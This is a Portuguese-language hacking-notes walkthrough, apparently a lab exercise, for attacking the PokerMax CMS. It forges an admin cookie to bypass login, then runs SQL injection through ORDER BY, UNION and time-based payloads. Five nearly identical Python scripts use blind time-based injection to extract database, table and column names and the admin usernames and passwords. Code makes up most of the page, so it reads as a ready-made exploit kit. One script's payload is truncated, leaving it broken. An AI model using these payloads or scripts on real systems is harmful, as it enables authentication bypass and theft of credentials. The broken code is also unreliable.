> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/pokermax-cms-exploitation.md).

# PokerMax

**Busca de Vulnerabilidades com Searchsploit**

Após identificar uma `pokermax` página web, use o Searchsploit para procurar possíveis vulnerabilidades.

<figure><img src="/files/737b8a781f23e7926699e414f91940e490f8bad9" alt=""><figcaption></figcaption></figure>

**Identificação do painel de autenticação de administrador:**

É descoberto um painel de autenticação de administrador. Um trecho de JavaScript no console altera `ValidUserAdmin` para `administrador`, permitindo acesso a `configure.php` no pokeradmin.

<figure><img src="/files/b332ee649d0b4e1b6dacb9d642719d9d99579b79" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/f83ae1e5f6291783bed9d8474aa0d48912688f11" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0a9a9df3e83a9f2fba54c31a909cc80c66887d5f" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de Injeção SQL

**Detecção de vulnerabilidade de injeção SQL:**

<figure><img src="/files/71a35211af4abe7ee8714a5583bc17900646f75d" alt=""><figcaption></figcaption></figure>

#### Identifique uma vulnerabilidade de injeção SQL na aplicação web. Use [BurpSuite](/pt-br/hacking-tools/web/burpsuite.md) para interceptar o tráfego.

<figure><img src="/files/1c2a732aa97e75fb165f7c761813da32bd0835bf" alt=""><figcaption></figcaption></figure>

#### Descoberta da quantidade de colunas com ORDER BY

```sql
admin' order by 7-- -
```

#### Tentativa de listar tabelas com UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### Uso de Injeção SQL Baseada em Tempo

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/00c747860de8dbd0c95b0c3b1e986240dd5b3a65" alt=""><figcaption></figcaption></figure>

#### Automação em Python para Extrair o Nome do Banco de Dados

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/8e356575d6cf70a2d6e96e43d2f93cc852402e3a" alt=""><figcaption></figcaption></figure>

#### Automação em Python para Extrair Todos os Nomes de Banco de Dados

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/9de0683c9b5a000a1d6c119d2ecb5aed8133e2bb" alt=""><figcaption></figcaption></figure>

#### Automação em Python para Extrair Nomes de Tabelas

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/d6d41c8c0b169523e24a89e1943e80ac86ad01a0" alt=""><figcaption></figcaption></figure>

#### Automação em Python para Extrair Nomes de Colunas

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/410c373b2fbd30d3915aa309cc1c1921573d2205" alt=""><figcaption></figcaption></figure>

#### Automação em Python para Extrair o Conteúdo das Colunas de Nome de Usuário e Senha

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQL injection completed")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/c62e4d8d28a95ca76e62b75f773d730742a382d3" alt=""><figcaption></figcaption></figure>


---

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Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

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